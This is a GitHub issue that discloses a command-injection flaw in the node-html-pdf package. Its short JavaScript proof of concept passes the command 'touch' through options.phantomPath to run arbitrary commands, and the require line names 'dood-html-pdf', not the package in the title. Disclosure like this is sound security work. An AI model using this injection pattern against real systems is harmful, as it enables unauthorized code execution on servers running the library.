Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Potential injection vulnerability in node-html-pdf #701

Open
xiaofen9 opened this issue Mar 4, 2023 · 0 comments
Open

Potential injection vulnerability in node-html-pdf #701

xiaofen9 opened this issue Mar 4, 2023 · 0 comments

Comments

@xiaofen9
Copy link

xiaofen9 commented Mar 4, 2023

Hi,

We would like to report a potential security vulnerability.
The bug is introduced because the package-exported method create() fails to sanitize its parameter options.phantomPath and lets it flow into a sensitive command execution API.

Here is the proof of concept.

var fs = require('fs');
var htmltopdf = require('dood-html-pdf');
var html = fs.readFileSync('example.html', 'utf8');
var options = {
 phantomPath: 'touch',
 phantomArgs: ['rce'],
 readLocalFile: true
};

var pdf = htmltopdf.create(html, options)
var exec = pdf.exec() // a file named rce will be created

Please consider fixing it. thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant